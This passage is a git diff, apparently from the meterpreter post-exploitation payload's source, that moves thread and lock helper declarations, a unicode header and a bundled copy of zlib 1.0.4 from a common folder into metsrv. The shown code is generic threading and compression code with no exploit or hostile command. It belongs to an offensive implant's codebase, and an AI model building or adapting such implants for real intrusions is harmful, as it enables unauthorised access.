ntdll!NtOpenThread + +/*****************************************************************************************/ + +LOCK * lock_create( VOID ); + +VOID lock_destroy( LOCK * lock ); + +VOID lock_acquire( LOCK * lock ); + +VOID lock_release( LOCK * lock ); + +/*****************************************************************************************/ + +EVENT * event_create( VOID ); + +BOOL event_destroy( EVENT * event ); + +BOOL event_signal( EVENT * event ); + +BOOL event_poll( EVENT * event, DWORD timeout ); + +/*****************************************************************************************/ + +THREAD * thread_open( VOID ); + +THREAD * thread_create( THREADFUNK funk, LPVOID param1, LPVOID param2, LPVOID param3 ); + +void disable_thread_error_reporting(void); + +BOOL thread_run( THREAD * thread ); + +BOOL thread_sigterm( THREAD * thread ); + +BOOL thread_kill( THREAD * thread ); + +BOOL thread_join( THREAD * thread ); + +BOOL thread_destroy( THREAD * thread ); + +/*****************************************************************************************/ + +#endif diff --git a/c/meterpreter/source/common/unicode.c b/c/meterpreter/source/metsrv/unicode.c similarity index 100% rename from c/meterpreter/source/common/unicode.c rename to c/meterpreter/source/metsrv/unicode.c diff --git a/c/meterpreter/source/common/unicode.h b/c/meterpreter/source/metsrv/unicode.h similarity index 68% rename from c/meterpreter/source/common/unicode.h rename to c/meterpreter/source/metsrv/unicode.h index 0821b408..d8dd7290 100644 --- a/c/meterpreter/source/common/unicode.h +++ b/c/meterpreter/source/metsrv/unicode.h @@ -3,8 +3,8 @@ * @brief Declarations for unicode conversion functions */ -#ifndef _METERPRETER_SOURCE_COMMON_UNICODE_H -#define _METERPRETER_SOURCE_COMMON_UNICODE_H +#ifndef _METERPRETER_METSRV_COMMON_UNICODE_H +#define _METERPRETER_METSRV_COMMON_UNICODE_H #include diff --git a/c/meterpreter/source/common/zlib/zlib.c b/c/meterpreter/source/metsrv/zlib.c similarity index 97% rename from c/meterpreter/source/common/zlib/zlib.c rename to c/meterpreter/source/metsrv/zlib.c index d8338e8a..156c6a1a 100644 --- a/c/meterpreter/source/common/zlib/zlib.c +++ b/c/meterpreter/source/metsrv/zlib.c @@ -1,5402 +1,5402 @@ -/* - * This file is derived from various .h and .c files from the zlib-1.0.4 - * distribution by Jean-loup Gailly and Mark Adler, with some additions - * by Paul Mackerras to aid in implementing Deflate compression and - * decompression for PPP packets. See zlib.h for conditions of - * distribution and use. - * - * Changes that have been made include: - * - added Z_PACKET_FLUSH (see zlib.h for details) - * - added inflateIncomp and deflateOutputPending - * - allow strm->next_out to be NULL, meaning discard the output - * - */ -#include "common.h" -/* - * ==FILEVERSION 971210== - * - * This marker is used by the Linux installation script to determine - * whether an up-to-date version of this file is already installed. - */ - -#define NO_DUMMY_DECL - -#ifndef MIN -/* Macros for min/max. */ -#define MIN(a,b) (((a)<(b))?(a):(b)) -#define MAX(a,b) (((a)>(b))?(a):(b)) -#endif - -/* +++ zutil.h */ -/*- - * zutil.h -- internal interface and configuration of the compression library - * Copyright (C) 1995-1996 Jean-loup Gailly. - * For conditions of distribution and use, see copyright notice in zlib.h - */ - -/* WARNING: this file should *not* be used by applications. It is - part of the implementation of the compression library and is - subject to change. Applications should only use zlib.h. - */ - -/* From: zutil.h,v 1.16 1996/07/24 13:41:13 me Exp $ */ - -#ifndef _Z_UTIL_H -#define _Z_UTIL_H - -#include "zlib.h" - -#ifdef _KERNEL -/* Assume this is a *BSD or SVR4 kernel */ -#include -#include -#include -#include -#include -#include -# define HAVE_MEMCPY - -#else -#if defined(__KERNEL__) -/* Assume this is a Linux kernel */ -#include -#define HAVE_MEMCPY - -#else /* not kernel */ - -#include -#include - -#ifdef STDC -# include -# include -#endif -#endif /* __KERNEL__ */ -#endif /* _KERNEL */ - -#ifndef local -# define local static -#endif -/* compile with -Dlocal if your debugger can't find static symbols */ - -typedef unsigned char uch; -typedef uch FAR uchf; -typedef unsigned short ush; -typedef ush FAR ushf; -typedef unsigned long ulg; - -static const char *z_errmsg[10]; /* indexed by 2-zlib_error */ -/* (size given to avoid silly warnings with Visual C++) */ - -#define ERR_MSG(err) z_errmsg[Z_NEED_DICT-(err)] - -#define ERR_RETURN(strm,err) \ - return (strm->msg = (const char*)ERR_MSG(err), (err)) -/* To be used only when the state is known to be valid */ - - /* common constants */ - -#ifndef DEF_WBITS -# define DEF_WBITS MAX_WBITS -#endif -/* default windowBits for decompression. MAX_WBITS is for compression only */ - -#if MAX_MEM_LEVEL >= 8 -# define DEF_MEM_LEVEL 8 -#else -# define DEF_MEM_LEVEL MAX_MEM_LEVEL -#endif -/* default memLevel */ - -#define STORED_BLOCK 0 -#define STATIC_TREES 1 -#define DYN_TREES 2 -/* The three kinds of block type */ - -#define MIN_MATCH 3 -#define MAX_MATCH 258 -/* The minimum and maximum match lengths */ - -#define PRESET_DICT 0x20 /* preset dictionary flag in zlib header */ - - /* target dependencies */ - -#ifdef MSDOS -# define OS_CODE 0x00 -# ifdef __TURBOC__ -# include -# else /* MSC or DJGPP */ -# include -# endif -#endif - -#ifdef OS2 -# define OS_CODE 0x06 -#endif - -#ifdef WIN32 /* Window 95 & Windows NT */ -# define OS_CODE 0x0b -#endif - -#if defined(VAXC) || defined(VMS) -# define OS_CODE 0x02 -# define FOPEN(name, mode) \ - fopen((name), (mode), "mbc=60", "ctx=stm", "rfm=fix", "mrs=512") -#endif - -#ifdef AMIGA -# define OS_CODE 0x01 -#endif - -#if defined(ATARI) || defined(atarist) -# define OS_CODE 0x05 -#endif - -#ifdef MACOS -# define OS_CODE 0x07 -#endif - -#ifdef __50SERIES /* Prime/PRIMOS */ -# define OS_CODE 0x0F -#endif - -#ifdef TOPS20 -# define OS_CODE 0x0a -#endif - -#if defined(_BEOS_) || defined(RISCOS) -# define fdopen(fd,mode) NULL /* No fdopen() */ -#endif - - /* Common defaults */ - -#ifndef OS_CODE -# define OS_CODE 0x03 /* assume Unix */ -#endif - -#ifndef FOPEN -# define FOPEN(name, mode) fopen((name), (mode)) -#endif - - /* functions */ - -#ifdef HAVE_STRERROR - extern char *strerror OF((int)); -# define zstrerror(errnum) strerror(errnum) -#else -# define zstrerror(errnum) "" -#endif - -#if defined(pyr) -# define NO_MEMCPY -#endif -#if (defined(M_I86SM) || defined(M_I86MM)) && !defined(_MSC_VER) - /* Use our own functions for small and medium model with MSC <= 5.0. - * You may have to use the same strategy for Borland C (untested). - */ -# define NO_MEMCPY -#endif -#if defined(STDC) && !defined(HAVE_MEMCPY) && !defined(NO_MEMCPY) -# define HAVE_MEMCPY -#endif -#ifdef HAVE_MEMCPY -# ifdef SMALL_MEDIUM /* MSDOS small or medium model */ -# define zmemcpy _fmemcpy -# define zmemcmp _fmemcmp -# define zmemzero(dest, len) _fmemset(dest, 0, len) -# else -# define zmemcpy memcpy -# define zmemcmp memcmp -# define zmemzero(dest, len) memset(dest, 0, len) -# endif -#else - extern void zmemcpy OF((Bytef* dest, Bytef* source, uInt len)); - extern int zmemcmp OF((Bytef* s1, Bytef* s2, uInt len)); - extern void zmemzero OF((Bytef* dest, uInt len)); -#endif - -/* Diagnostic functions */ -#ifdef DEBUG_ZLIB -# include -# ifndef verbose -# define verbose 0 -# endif - extern void z_error OF((char *m)); -# define Assert(cond,msg) {if(!(cond)) z_error(msg);} -# define Trace(x) fprintf x -# define Tracev(x) {if (verbose) fprintf x ;} -# define Tracevv(x) {if (verbose>1) fprintf x ;} -# define Tracec(c,x) {if (verbose && (c)) fprintf x ;} -# define Tracecv(c,x) {if (verbose>1 && (c)) fprintf x ;} -#else -# define Assert(cond,msg) -# define Trace(x) -# define Tracev(x) -# define Tracevv(x) -# define Tracec(c,x) -# define Tracecv(c,x) -#endif - - -typedef uLong (*check_func) OF((uLong check, const Bytef *buf, uInt len)); - -voidpf zcalloc OF((voidpf opaque, unsigned items, unsigned size)); -void zcfree OF((voidpf opaque, voidpf ptr)); - -#define ZALLOC(strm, items, size) \ - (*((strm)->zalloc))((strm)->opaque, (items), (size)) -#define ZFREE(strm, addr) (*((strm)->zfree))((strm)->opaque, (voidpf)(addr)) -#define TRY_FREE(s, p) {if (p) ZFREE(s, p);} - -#endif /* _Z_UTIL_H */ -/* --- zutil.h */ - -/* +++ deflate.h */ -/* deflate.h -- internal compression state - * Copyright (C) 1995-1996 Jean-loup Gailly - * For conditions of distribution and use, see copyright notice in zlib.h - */ - -/* WARNING: this file should *not* be used by applications. It is - part of the implementation of the compression library and is - subject to change. Applications should only use zlib.h. - */ - -/* From: deflate.h,v 1.10 1996/07/02 12:41:00 me Exp $ */ - -#ifndef _DEFLATE_H -#define _DEFLATE_H - -/* #include "zutil.h" */ - -/* =========================================================================== - * Internal compression state. - */ - -#define LENGTH_CODES 29 -/* number of length codes, not counting the special END_BLOCK code */ - -#define LITERALS 256 -/* number of literal bytes 0..255 */ - -#define L_CODES (LITERALS+1+LENGTH_CODES) -/* number of Literal or Length codes, including the END_BLOCK code */ - -#define D_CODES 30 -/* number of distance codes */ - -#define BL_CODES 19 -/* number of codes used to transfer the bit lengths */ - -#define HEAP_SIZE (2*L_CODES+1) -/* maximum heap size */ - -#define MAX_BITS 15 -/* All codes must not exceed MAX_BITS bits */ - -#define INIT_STATE 42 -#define BUSY_STATE 113 -#define FINISH_STATE 666 -/* Stream status */ - - -/* Data structure describing a single value and its code string. */ -typedef struct ct_data_s { - union { - ush freq; /* frequency count */ - ush code; /* bit string */ - } fc; - union { - ush dad; /* father node in Huffman tree */ - ush len; /* length of bit string */ - } dl; -} FAR ct_data; - -#define Freq fc.freq -#define Code fc.code -#define Dad dl.dad -#define Len dl.len - -typedef struct static_tree_desc_s static_tree_desc; - -typedef struct tree_desc_s { - ct_data *dyn_tree; /* the dynamic tree */ - int max_code; /* largest code with non zero frequency */ - static_tree_desc *stat_desc; /* the corresponding static tree */ -} FAR tree_desc; - -typedef ush Pos; -typedef Pos FAR Posf; -typedef unsigned IPos; - -/* A Pos is an index in the character window. We use short instead of int to - * save space in the various tables. IPos is used only for parameter passing. - */ - -typedef struct deflate_state { - z_streamp strm; /* pointer back to this zlib stream */ - int status; /* as the name implies */ - Bytef *pending_buf; /* output still pending */ - ulg pending_buf_size; /* size of pending_buf */ - Bytef *pending_out; /* next pending byte to output to the stream */ - int pending; /* nb of bytes in the pending buffer */ - int noheader; /* suppress zlib header and adler32 */ - Byte data_type; /* UNKNOWN, BINARY or ASCII */ - Byte method; /* STORED (for zip only) or DEFLATED */ - int last_flush; /* value of flush param for previous deflate call */ - - /* used by deflate.c: */ - - uInt w_size; /* LZ77 window size (32K by default) */ - uInt w_bits; /* log2(w_size) (8..16) */ - uInt w_mask; /* w_size - 1 */ - - Bytef *window; - /* Sliding window. Input bytes are read into the second half of the window, - * and move to the first half later to keep a dictionary of at least wSize - * bytes. With this organization, matches are limited to a distance of - * wSize-MAX_MATCH bytes, but this ensures that IO is always - * performed with a length multiple of the block size. Also, it limits - * the window size to 64K, which is quite useful on MSDOS. - * To do: use the user input buffer as sliding window. - */ - - ulg window_size; - /* Actual size of window: 2*wSize, except when the user input buffer - * is directly used as sliding window. - */ - - Posf *prev; - /* Link to older string with same hash index. To limit the size of this - * array to 64K, this link is maintained only for the last 32K strings. - * An index in this array is thus a window index modulo 32K. - */ - - Posf *head; /* Heads of the hash chains or NIL. */ - - uInt ins_h; /* hash index of string to be inserted */ - uInt hash_size; /* number of elements in hash table */ - uInt hash_bits; /* log2(hash_size) */ - uInt hash_mask; /* hash_size-1 */ - - uInt hash_shift; - /* Number of bits by which ins_h must be shifted at each input - * step. It must be such that after MIN_MATCH steps, the oldest - * byte no longer takes part in the hash key, that is: - * hash_shift * MIN_MATCH >= hash_bits - */ - - long block_start; - /* Window position at the beginning of the current output block. Gets - * negative when the window is moved backwards. - */ - - uInt match_length; /* length of best match */ - IPos prev_match; /* previous match */ - int match_available; /* set if previous match exists */ - uInt strstart; /* start of string to insert */ - uInt match_start; /* start of matching string */ - uInt lookahead; /* number of valid bytes ahead in window */ - - uInt prev_length; - /* Length of the best match at previous step. Matches not greater than this - * are discarded. This is used in the lazy match evaluation. - */ - - uInt max_chain_length; - /* To speed up deflation, hash chains are never searched beyond this - * length. A higher limit improves compression ratio but degrades the - * speed. - */ - - uInt max_lazy_match; - /* Attempt to find a better match only when the current match is strictly - * smaller than this value. This mechanism is used only for compression - * levels >= 4. - */ -# define max_insert_length max_lazy_match - /* Insert new strings in the hash table only if the match length is not - * greater than this length. This saves time but degrades compression. - * max_insert_length is used only for compression levels <= 3. - */ - - int level; /* compression level (1..9) */ - int strategy; /* favor or force Huffman coding*/ - - uInt good_match; - /* Use a faster search when the previous match is longer than this */ - - int nice_match; /* Stop searching when current match exceeds this */ - - /* used by trees.c: */ - /* Didn't use ct_data typedef below to supress compiler warning */ - struct ct_data_s dyn_ltree[HEAP_SIZE]; /* literal and length tree */ - struct ct_data_s dyn_dtree[2*D_CODES+1]; /* distance tree */ - struct ct_data_s bl_tree[2*BL_CODES+1]; /* Huffman tree for bit lengths */ - - struct tree_desc_s l_desc; /* desc. for literal tree */ - struct tree_desc_s d_desc; /* desc. for distance tree */ - struct tree_desc_s bl_desc; /* desc. for bit length tree */ - - ush bl_count[MAX_BITS+1]; - /* number of codes at each bit length for an optimal tree */ - - int heap[2*L_CODES+1]; /* heap used to build the Huffman trees */ - int heap_len; /* number of elements in the heap */ - int heap_max; /* element of largest frequency */ - /* The sons of heap[n] are heap[2*n] and heap[2*n+1]. heap[0] is not used. - * The same heap array is used to build all trees. - */ - - uch depth[2*L_CODES+1]; - /* Depth of each subtree used as tie breaker for trees of equal frequency - */ - - uchf *l_buf; /* buffer for literals or lengths */ - - uInt lit_bufsize; - /* Size of match buffer for literals/lengths. There are 4 reasons for - * limiting lit_bufsize to 64K: - * - frequencies can be kept in 16 bit counters - * - if compression is not successful for the first block, all input - * data is still in the window so we can still emit a stored block even - * when input comes from standard input. (This can also be done for - * all blocks if lit_bufsize is not greater than 32K.) - * - if compression is not successful for a file smaller than 64K, we can - * even emit a stored file instead of a stored block (saving 5 bytes). - * This is applicable only for zip (not gzip or zlib). - * - creating new Huffman trees less frequently may not provide fast - * adaptation to changes in the input data statistics. (Take for - * example a binary file with poorly compressible code followed by - * a highly compressible string table.) Smaller buffer sizes give - * fast adaptation but have of course the overhead of transmitting - * trees more frequently. - * - I can't count above 4 - */ - - uInt last_lit; /* running index in l_buf */ - - ushf *d_buf; - /* Buffer for distances. To simplify the code, d_buf and l_buf have - * the same number of elements. To use different lengths, an extra flag - * array would be necessary. - */ - - ulg opt_len; /* bit length of current block with optimal trees */ - ulg static_len; /* bit length of current block with static trees */ - ulg compressed_len; /* total bit length of compressed file */ - uInt matches; /* number of string matches in current block */ - int last_eob_len; /* bit length of EOB code for last block */ - -#ifdef DEBUG_ZLIB - ulg bits_sent; /* bit length of the compressed data */ -#endif - - ush bi_buf; - /* Output buffer. bits are inserted starting at the bottom (least - * significant bits). - */ - int bi_valid; - /* Number of valid bits in bi_buf. All bits above the last valid bit - * are always zero. - */ - -} FAR deflate_state; - -/* Output a byte on the stream. - * IN assertion: there is enough room in pending_buf. - */ -#define put_byte(s, c) {s->pending_buf[s->pending++] = (c);} - - -#define MIN_LOOKAHEAD (MAX_MATCH+MIN_MATCH+1) -/* Minimum amount of lookahead, except at the end of the input file. - * See deflate.c for comments about the MIN_MATCH+1. - */ - -#define MAX_DIST(s) ((s)->w_size-MIN_LOOKAHEAD) -/* In order to simplify the code, particularly on 16 bit machines, match - * distances are limited to MAX_DIST instead of WSIZE. - */ - - /* in trees.c */ -void _tr_init OF((deflate_state *s)); -int _tr_tally OF((deflate_state *s, unsigned dist, unsigned lc)); -ulg _tr_flush_block OF((deflate_state *s, charf *buf, ulg stored_len, - int eof)); -void _tr_align OF((deflate_state *s)); -void _tr_stored_block OF((deflate_state *s, charf *buf, ulg stored_len, - int eof)); -void _tr_stored_type_only OF((deflate_state *)); - -#endif -/* --- deflate.h */ - -/* +++ deflate.c */ -/* deflate.c -- compress data using the deflation algorithm - * Copyright (C) 1995-1996 Jean-loup Gailly. - * For conditions of distribution and use, see copyright notice in zlib.h - */ - -/* - * ALGORITHM - * - * The "deflation" process depends on being able to identify portions - * of the input text which are identical to earlier input (within a - * sliding window trailing behind the input currently being processed). - * - * The most straightforward technique turns out to be the fastest for - * most input files: try all possible matches and select the longest. - * The key feature of this algorithm is that insertions into the string - * dictionary are very simple and thus fast, and deletions are avoided - * completely. Insertions are performed at each input character, whereas - * string matches are performed only when the previous match ends. So it - * is preferable to spend more time in matches to allow very fast string - * insertions and avoid deletions. The matching algorithm for small - * strings is inspired from that of Rabin & Karp. A brute force approach - * is used to find longer strings when a small match has been found. - * A similar algorithm is used in comic (by Jan-Mark Wams) and freeze - * (by Leonid Broukhis). - * A previous version of this file used a more sophisticated algorithm - * (by Fiala and Greene) which is guaranteed to run in linear amortized - * time, but has a larger average cost, uses more memory and is patented. - * However the F&G algorithm may be faster for some highly redundant - * files if the parameter max_chain_length (described below) is too large. - * - * ACKNOWLEDGEMENTS - * - * The idea of lazy evaluation of matches is due to Jan-Mark Wams, and - * I found it in 'freeze' written by Leonid Broukhis. - * Thanks to many people for bug reports and testing. - * - * REFERENCES - * - * Deutsch, L.P.,"DEFLATE Compressed Data Format Specification". - * Available in ftp://ds.internic.net/rfc/rfc1951.txt - * - * A description of the Rabin and Karp algorithm is given in the book - * "Algorithms" by R. Sedgewick, Addison-Wesley, p252. - * - * Fiala,E.R., and Greene,D.H. - * Data Compression with Finite Windows, Comm.ACM, 32,4 (1989) 490-595 - * - */ - -/* From: deflate.c,v 1.15 1996/07/24 13:40:58 me Exp $ */ - -/* #include "deflate.h" */ - -char deflate_copyright[] = " deflate 1.0.4 Copyright 1995-1996 Jean-loup Gailly "; -/* - If you use the zlib library in a product, an acknowledgment is welcome - in the documentation of your product. If for some reason you cannot - include such an acknowledgment, I would appreciate that you keep this - copyright string in the executable of your product. - */ - -/* =========================================================================== - * Function prototypes. - */ -typedef enum { - need_more, /* block not completed, need more input or more output */ - block_done, /* block flush performed */ - finish_started, /* finish started, need only more output at next deflate */ - finish_done /* finish done, accept no more input or output */ -} block_state; - -typedef block_state (*compress_func) OF((deflate_state *s, int flush)); -/* Compression function. Returns the block state after the call. */ - -local void fill_window OF((deflate_state *s)); -local block_state deflate_stored OF((deflate_state *s, int flush)); -local block_state deflate_fast OF((deflate_state *s, int flush)); -local block_state deflate_slow OF((deflate_state *s, int flush)); -local void lm_init OF((deflate_state *s)); -local void putShortMSB OF((deflate_state *s, uInt b)); -local void flush_pending OF((z_streamp strm)); -local int read_buf OF((z_streamp strm, charf *buf, unsigned size)); -#ifdef ASMV - void match_init OF((void)); /* asm code initialization */ - uInt longest_match OF((deflate_state *s, IPos cur_match)); -#else -local uInt longest_match OF((deflate_state *s, IPos cur_match)); -#endif - -#ifdef DEBUG_ZLIB -local void check_match OF((deflate_state *s, IPos start, IPos match, - int length)); -#endif - -/* =========================================================================== - * Local data - */ - -#define NIL 0 -/* Tail of hash chains */ - -#ifndef TOO_FAR -# define TOO_FAR 4096 -#endif -/* Matches of length 3 are discarded if their distance exceeds TOO_FAR */ - -#define MIN_LOOKAHEAD (MAX_MATCH+MIN_MATCH+1) -/* Minimum amount of lookahead, except at the end of the input file. - * See deflate.c for comments about the MIN_MATCH+1. - */ - -/* Values for max_lazy_match, good_match and max_chain_length, depending on - * the desired pack level (0..9). The values given below have been tuned to - * exclude worst case performance for pathological files. Better values may be - * found for specific files. - */ -typedef struct config_s { - ush good_length; /* reduce lazy search above this match length */ - ush max_lazy; /* do not perform lazy search above this match length */ - ush nice_length; /* quit search above this match length */ - ush max_chain; - compress_func func; -} config; - -local config configuration_table[10] = { -/* good lazy nice chain */ -/* 0 */ {0, 0, 0, 0, deflate_stored}, /* store only */ -/* 1 */ {4, 4, 8, 4, deflate_fast}, /* maximum speed, no lazy matches */ -/* 2 */ {4, 5, 16, 8, deflate_fast}, -/* 3 */ {4, 6, 32, 32, deflate_fast}, - -/* 4 */ {4, 4, 16, 16, deflate_slow}, /* lazy matches */ -/* 5 */ {8, 16, 32, 32, deflate_slow}, -/* 6 */ {8, 16, 128, 128, deflate_slow}, -/* 7 */ {8, 32, 128, 256, deflate_slow}, -/* 8 */ {32, 128, 258, 1024, deflate_slow}, -/* 9 */ {32, 258, 258, 4096, deflate_slow}}; /* maximum compression */ - -/* Note: the deflate() code requires max_lazy >= MIN_MATCH and max_chain >= 4 - * For deflate_fast() (levels <= 3) good is ignored and lazy has a different - * meaning. - */ - -#define EQUAL 0 -/* result of memcmp for equal strings */ - -#ifndef NO_DUMMY_DECL -struct static_tree_desc_s {int dummy;}; /* for buggy compilers */ -#endif - -/* =========================================================================== - * Update a hash value with the given input byte - * IN assertion: all calls to to UPDATE_HASH are made with consecutive - * input characters, so that a running hash key can be computed from the - * previous key instead of complete recalculation each time. - */ -#define UPDATE_HASH(s,h,c) (h = (((h)<hash_shift) ^ (c)) & s->hash_mask) - - -/* =========================================================================== - * Insert string str in the dictionary and set match_head to the previous head - * of the hash chain (the most recent string with same hash key). Return - * the previous length of the hash chain. - * IN assertion: all calls to to INSERT_STRING are made with consecutive - * input characters and the first MIN_MATCH bytes of str are valid - * (except for the last MIN_MATCH-1 bytes of the input file). - */ -#define INSERT_STRING(s, str, match_head) \ - (UPDATE_HASH(s, s->ins_h, s->window[(str) + (MIN_MATCH-1)]), \ - s->prev[(str) & s->w_mask] = match_head = s->head[s->ins_h], \ - s->head[s->ins_h] = (Pos)(str)) - -/* =========================================================================== - * Initialize the hash table (avoiding 64K overflow for 16 bit systems). - * prev[] will be initialized on the fly. - */ -#define CLEAR_HASH(s) \ - s->head[s->hash_size-1] = NIL; \ - zmemzero((charf *)s->head, (unsigned)(s->hash_size-1)*sizeof(*s->head)); - -/* ========================================================================= */ -int deflateInit_(strm, level, version, stream_size) - z_streamp strm; - int level; - const char *version; - int stream_size; -{ - return deflateInit2_(strm, level, Z_DEFLATED, MAX_WBITS, DEF_MEM_LEVEL, - Z_DEFAULT_STRATEGY, version, stream_size); - /* To do: ignore strm->next_in if we use it as window */ -} - -/* ========================================================================= */ -int deflateInit2_(z_streamp strm, int level, int method, int windowBits, - int memLevel, int strategy, const char *version, int stream_size) -{ - deflate_state *s; - int noheader = 0; - static char* my_version = ZLIB_VERSION; - - ushf *overlay; - /* We overlay pending_buf and d_buf+l_buf. This works since the average - * output size for (length,distance) codes is <= 24 bits. - */ - - if (version == Z_NULL || version[0] != my_version[0] || - stream_size != sizeof(z_stream)) { - return Z_VERSION_ERROR; - } - if (strm == Z_NULL) return Z_STREAM_ERROR; - - strm->msg = Z_NULL; -#ifndef NO_ZCFUNCS - if (strm->zalloc == Z_NULL) { - strm->zalloc = zcalloc; - strm->opaque = (voidpf)0; - } - if (strm->zfree == Z_NULL) strm->zfree = zcfree; -#endif - - if (level == Z_DEFAULT_COMPRESSION) level = 6; - - if (windowBits < 0) { /* undocumented feature: suppress zlib header */ - noheader = 1; - windowBits = -windowBits; - } - if (memLevel < 1 || memLevel > MAX_MEM_LEVEL || method != Z_DEFLATED || - windowBits < 9 || windowBits > 15 || level < 0 || level > 9 || - strategy < 0 || strategy > Z_HUFFMAN_ONLY) { - return Z_STREAM_ERROR; - } - s = (deflate_state *) ZALLOC(strm, 1, sizeof(deflate_state)); - if (s == Z_NULL) return Z_MEM_ERROR; - strm->state = (struct internal_state FAR *)s; - s->strm = strm; - - s->noheader = noheader; - s->w_bits = windowBits; - s->w_size = 1 << s->w_bits; - s->w_mask = s->w_size - 1; - - s->hash_bits = memLevel + 7; - s->hash_size = 1 << s->hash_bits; - s->hash_mask = s->hash_size - 1; - s->hash_shift = ((s->hash_bits+MIN_MATCH-1)/MIN_MATCH); - - s->window = (Bytef *) ZALLOC(strm, s->w_size, 2*sizeof(Byte)); - s->prev = (Posf *) ZALLOC(strm, s->w_size, sizeof(Pos)); - s->head = (Posf *) ZALLOC(strm, s->hash_size, sizeof(Pos)); - - s->lit_bufsize = 1 << (memLevel + 6); /* 16K elements by default */ - - overlay = (ushf *) ZALLOC(strm, s->lit_bufsize, sizeof(ush)+2); - s->pending_buf = (uchf *) overlay; - s->pending_buf_size = (ulg)s->lit_bufsize * (sizeof(ush)+2L); - - if (s->window == Z_NULL || s->prev == Z_NULL || s->head == Z_NULL || - s->pending_buf == Z_NULL) { - strm->msg = (const char*)ERR_MSG(Z_MEM_ERROR); - deflateEnd (strm); - return Z_MEM_ERROR; - } - s->d_buf = overlay + s->lit_bufsize/sizeof(ush); - s->l_buf = s->pending_buf + (1+sizeof(ush))*s->lit_bufsize; - - s->level = level; - s->strategy = strategy; - s->method = (Byte)method; - - return deflateReset(strm); -} - -/* ========================================================================= */ -int deflateSetDictionary(z_streamp strm, const Bytef *dictionary, uInt dictLength) -{ - deflate_state *s; - uInt length = dictLength; - uInt n; - IPos hash_head = 0; - - if (strm == Z_NULL || strm->state == Z_NULL || dictionary == Z_NULL) - return Z_STREAM_ERROR; - - s = (deflate_state *) strm->state; - if (s->status != INIT_STATE) return Z_STREAM_ERROR; - - strm->adler = adler32(strm->adler, dictionary, dictLength); - - if (length < MIN_MATCH) return Z_OK; - if (length > MAX_DIST(s)) { - length = MAX_DIST(s); -#ifndef USE_DICT_HEAD - dictionary += dictLength - length; /* use the tail of the dictionary */ -#endif - } - zmemcpy((charf *)s->window, dictionary, length); - s->strstart = length; - s->block_start = (long)length; - - /* Insert all strings in the hash table (except for the last two bytes). - * s->lookahead stays null, so s->ins_h will be recomputed at the next - * call of fill_window. - */ - s->ins_h = s->window[0]; - UPDATE_HASH(s, s->ins_h, s->window[1]); - for (n = 0; n <= length - MIN_MATCH; n++) { - INSERT_STRING(s, n, hash_head); - } - if (hash_head) hash_head = 0; /* to make compiler happy */ - return Z_OK; -} - -/* ========================================================================= */ -int deflateReset(z_streamp strm) -{ - deflate_state *s; - - if (strm == Z_NULL || strm->state == Z_NULL || - strm->zalloc == Z_NULL || strm->zfree == Z_NULL) return Z_STREAM_ERROR; - - strm->total_in = strm->total_out = 0; - strm->msg = Z_NULL; /* use zfree if we ever allocate msg dynamically */ - strm->data_type = Z_UNKNOWN; - - s = (deflate_state *)strm->state; - s->pending = 0; - s->pending_out = s->pending_buf; - - if (s->noheader < 0) { - s->noheader = 0; /* was set to -1 by deflate(..., Z_FINISH); */ - } - s->status = s->noheader ? BUSY_STATE : INIT_STATE; - strm->adler = 1; - s->last_flush = Z_NO_FLUSH; - - _tr_init(s); - lm_init(s); - - return Z_OK; -} - -/* ========================================================================= */ -int deflateParams(z_streamp strm, int level, int strategy) -{ - deflate_state *s; - compress_func func; - int err = Z_OK; - - if (strm == Z_NULL || strm->state == Z_NULL) return Z_STREAM_ERROR; - s = (deflate_state *) strm->state; - - if (level == Z_DEFAULT_COMPRESSION) { - level = 6; - } - if (level < 0 || level > 9 || strategy < 0 || strategy > Z_HUFFMAN_ONLY) { - return Z_STREAM_ERROR; - } - func = configuration_table[s->level].func; - - if (func != configuration_table[level].func && strm->total_in != 0) { - /* Flush the last buffer: */ - err = deflate(strm, Z_PARTIAL_FLUSH); - } - if (s->level != level) { - s->level = level; - s->max_lazy_match = configuration_table[level].max_lazy; - s->good_match = configuration_table[level].good_length; - s->nice_match = configuration_table[level].nice_length; - s->max_chain_length = configuration_table[level].max_chain; - } - s->strategy = strategy; - return err; -} - -/* ========================================================================= - * Put a short in the pending buffer. The 16-bit value is put in MSB order. - * IN assertion: the stream state is correct and there is enough room in - * pending_buf. - */ -local void putShortMSB (deflate_state *s, uInt b) -{ - put_byte(s, (Byte)(b >> 8)); - put_byte(s, (Byte)(b & 0xff)); -} - -/* ========================================================================= - * Flush as much pending output as possible. All deflate() output goes - * through this function so some applications may wish to modify it - * to avoid allocating a large strm->next_out buffer and copying into it. - * (See also read_buf()). - */ -local void flush_pending(z_streamp strm) -{ - deflate_state *s = (deflate_state *) strm->state; - unsigned len = s->pending; - - if (len > strm->avail_out) len = strm->avail_out; - if (len == 0) return; - - if (strm->next_out != Z_NULL) { - zmemcpy(strm->next_out, s->pending_out, len); - strm->next_out += len; - } - s->pending_out += len; - strm->total_out += len; - strm->avail_out -= len; - s->pending -= len; - if (s->pending == 0) { - s->pending_out = s->pending_buf; - } -} - -/* ========================================================================= */ -int deflate (z_streamp strm, int flush) -{ - int old_flush; /* value of flush param for previous deflate call */ - deflate_state *s; - - if (strm == Z_NULL || strm->state == Z_NULL || - flush > Z_FINISH || flush < 0) { - return Z_STREAM_ERROR; - } - s = (deflate_state *) strm->state; - - if ((strm->next_in == Z_NULL && strm->avail_in != 0) || - (s->status == FINISH_STATE && flush != Z_FINISH)) { - ERR_RETURN(strm, Z_STREAM_ERROR); - } - if (strm->avail_out == 0) ERR_RETURN(strm, Z_BUF_ERROR); - - s->strm = strm; /* just in case */ - old_flush = s->last_flush; - s->last_flush = flush; - - /* Write the zlib header */ - if (s->status == INIT_STATE) { - - uInt header = (Z_DEFLATED + ((s->w_bits-8)<<4)) << 8; - uInt level_flags = (s->level-1) >> 1; - - if (level_flags > 3) level_flags = 3; - header |= (level_flags << 6); - if (s->strstart != 0) header |= PRESET_DICT; - header += 31 - (header % 31); - - s->status = BUSY_STATE; - putShortMSB(s, header); - - /* Save the adler32 of the preset dictionary: */ - if (s->strstart != 0) { - putShortMSB(s, (uInt)(strm->adler >> 16)); - putShortMSB(s, (uInt)(strm->adler & 0xffff)); - } - strm->adler = 1L; - } - - /* Flush as much pending output as possible */ - if (s->pending != 0) { - flush_pending(strm); - if (strm->avail_out == 0) { - /* Since avail_out is 0, deflate will be called again with - * more output space, but possibly with both pending and - * avail_in equal to zero. There won't be anything to do, - * but this is not an error situation so make sure we - * return OK instead of BUF_ERROR at next call of deflate: - */ - s->last_flush = -1; - return Z_OK; - } - - /* Make sure there is something to do and avoid duplicate consecutive - * flushes. For repeated and useless calls with 